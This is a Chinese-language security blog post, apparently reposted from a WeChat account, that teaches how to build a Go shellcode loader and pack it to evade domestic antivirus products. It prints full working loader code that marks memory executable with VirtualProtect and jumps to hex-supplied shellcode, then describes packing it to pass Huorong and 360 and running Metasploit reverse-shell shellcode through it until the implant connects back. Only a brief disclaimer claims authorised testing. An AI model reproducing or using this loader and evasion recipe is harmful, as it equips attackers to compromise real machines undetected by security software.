自写go加载器加壳免杀——过国内主流杀软

渗透技巧 2年前 (2021) admin
1,333 0 0
自写go加载器加壳免杀——过国内主流杀软
自写go加载器加壳免杀——过国内主流杀软

点击上方蓝字关注我们

自写go加载器加壳免杀——过国内主流杀软


✎ 阅读须知


乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他


本文作者:zedxx10师傅


自写go加载器加壳免杀——过国内主流杀软

01
免杀编写说明

  1. 参考自己公司大佬写的go木马中的内存保护

  2. 必须对Windows一些重要dll 和 go语言的指针有所了解(重 要 ! )

  3. 思路:还是和我之前的文章一样采用分离式加载免杀


自写go加载器加壳免杀——过国内主流杀软

02
shellcode加载器


shellcode加载器的编写结构:

1. 定义一个接收函数

2. 将你的shellcode放入你的刚才定义的接收函数

3. 解密shellcode

4. 加载运行


自写go加载器加壳免杀——过国内主流杀软

03
shellcode实现 讲 解

 

1. go语言编写的基本原则


   go语言必要的 package main以及func main 主函数

package mainfunc main(){    }


基本的go结构:所有的函数都从main函数开始加载,如果没有放入函数,则不会执行该函数。


你创建的函数必须写在main函数之上


自写go加载器加壳免杀——过国内主流杀软


在主函数中加入Run函数(待会儿我们要创建的),并且该函数需要单独创建一个 这里只是调用:


自写go加载器加壳免杀——过国内主流杀软


2. 使用Run函数就得创建一个名为Run的函数,但是在那之前我们要使用一个保护函数待会用于保护我们的shellcode地址:


 在这里可以创建VirtualProtect函数用来保护我们的函数,并且去掉一些函数特征。


具体代码如下:

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") //syscall是调用函数 通过call NewLazyDLL来调取kernel32.dll(及其重要的链接库 几乎所有的木马都会调用这个函数)NewProc是指api NewProc("VirtualProtect")就是获取VirtualProtect这个函数的api//保护内存函数 去掉特征func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) { //转换为同一类型的地址  uintptr,uint32    t, _, _ := procVirtualProtect.all(        uintptr(a),        uintptr(b),        uintptr(c),        uintptr(d))    fmt.Print(t)}


这里我们需要了解几个重要的函数:

syscall这是调用函数的函数;

NewLazyDLL来调取kernel32.dll(极其重要的链接库 几乎所有的木马都会调用这个函数);

NewProc是指api;

NewProc(“VirtualProtect”)就是获取VirtualProtect这个函数的api;


有兴趣的可以参考《恶意代码分析》这本书:


自写go加载器加壳免杀——过国内主流杀软



3. 将你保护代码放入你的定义函数之中


这里涉及go语言指针,简单的说一下指针,可能讲的会有些模糊


指针是一个地址传递的,地址传递会发生内存地址的改变。

但是这个和值传递不同有所不同。


其中指针表示:  *一级指针 **二级指针

func Run(sc []byte) {    //定义函数    f := func() {}    var old uint32    //一级指针的值为f的地址    //unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数为0 unint32(0x40)flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行    VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old))    //将shellcode 放入函数中  &sc为shellcode的地址 **(**uintptr)(unsafe.Pointer(&f))就是将shellcode的地址赋值给了&f的地址    **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))    var orgshellcode uint32    //shellcode地址    VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode))    f() //这里调用f函数 f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址}


在这里对下面的代码进行解读:

VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old))
解读:unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数设置为0  unint32(0x40)flNewProtect是内存新的属性类型,将PAGE_EXECUTE_READWRITE设置为(0x40)时该内存页为可读可写可执行并且是最大权限


VirtualProtect 函数的意思:


自写go加载器加壳免杀——过国内主流杀软


继续:

**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))


将shellcode放入函数中,&sc为shellcode的内存地址;这里的目的就是将shellcode的地址赋值给了&f的地址。


通俗的讲就是:

以前shellcode的地址是&sc 现在变成&f ,而&f的地址是进行了内存保护的,等同于shellcode也被保护了。


shellcode的地址

VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode))


4. 最后一步,调用f函数:

这里调用f函数f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址

自写go加载器加壳免杀——过国内主流杀软

04
完整shellcode代码


完整代码如下:


package mainimport (    "encoding/hex"    "fmt"    "os"    "syscall"    "unsafe")var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") //syscall是调用函数 通过call NewLazyDLL来调取kernel32.dll(及其重要的链接库 几乎所有的木马都会调用这个函数)NewProc是指api NewProc("VirtualProtect")就是获取VirtualProtect这个函数的api//保护内存函数 去掉特征func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) { //转换为同一类型的地址  uintptr,uint32    t, _, _ := procVirtualProtect.all(        uintptr(a),        uintptr(b),        uintptr(c),        uintptr(d))    fmt.Print(t)}func Run(sc []byte) {    //定义函数    f := func() {}    var old uint32    //一级指针的值为f的地址    //unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数为0 unint32(0x40)flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行    VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old))    //将shellcode 放入函数中  &sc为shellcode的地址 **(**uintptr)(unsafe.Pointer(&f))就是将shellcode的地址赋值给了&f的地址    **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))    var orgshellcode uint32    //shellcode地址    VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode))    f() //这里调用f函数 f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址}func main() {    //解密    x, _ := hex.DecodeString(os.Args[1])    Run(x)}

其中:import是自动导入,不需要手动输入


以上完成了所有的代码,由于go语言无法直接执行,我们需要进行编译,编译方法如下:


找到你的go语言所在路径 cmd 使用

go build main.go


自写go加载器加壳免杀——过国内主流杀软


此时会编译生成一个main.exe (火绒会报毒


自写go加载器加壳免杀——过国内主流杀软

05
加 壳 免 杀


免杀还是采用加壳,upx可以使用但需要抹除特征码(对汇编不好的师傅不太友好,而且容易出问题)。

这里还是采用 safe的壳:


自写go加载器加壳免杀——过国内主流杀软


用法很简单:

将你的exe 拖入之后就可以了 (这里选择默认加壳模式就行了,当然如果懂汇编的师傅可以尝试一下其它的选项)


自写go加载器加壳免杀——过国内主流杀软


免杀效果:可过火绒和360。

自写go加载器加壳免杀——过国内主流杀软


自写go加载器加壳免杀——过国内主流杀软

06
msf配合免杀演示



1. msf 生成木马


自写go加载器加壳免杀——过国内主流杀软


其中,LHOST、 LPORT 根据自己的情况设置。


2.查看生成的木马:

cat   rev.hex
自写go加载器加壳免杀——过国内主流杀软


3.创建监听


自写go加载器加壳免杀——过国内主流杀软


4.加载你的shellcode


找到你加壳后的exe,在 cmd中运行:


main_se.exe + rev.hex的文件内容


自写go加载器加壳免杀——过国内主流杀软


此时木马上线成功


自写go加载器加壳免杀——过国内主流杀软

自写go加载器加壳免杀——过国内主流杀软

07
 总    结


本次的内容,对于不懂汇编或者go语言的师傅会理解比较困难。我也尽力通俗的进行了描述, 如有不便请多担待,当然在这里生成的木马还是有点大,请师傅们理解。



自写go加载器加壳免杀——过国内主流杀软

08
 tips


以上文章为zedxx10师傅所写,感谢zedxx10师傅的技术分享。


tips:加我wx,拉你入群,一起学习


自写go加载器加壳免杀——过国内主流杀软




自写go加载器加壳免杀——过国内主流杀软
自写go加载器加壳免杀——过国内主流杀软

扫取二维码获取

更多精彩

乌鸦安全

自写go加载器加壳免杀——过国内主流杀软


原文始发于微信公众号(乌鸦安全):自写go加载器加壳免杀——过国内主流杀软

版权声明:admin 发表于 2021年11月12日 上午10:22。
转载请注明:自写go加载器加壳免杀——过国内主流杀软 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...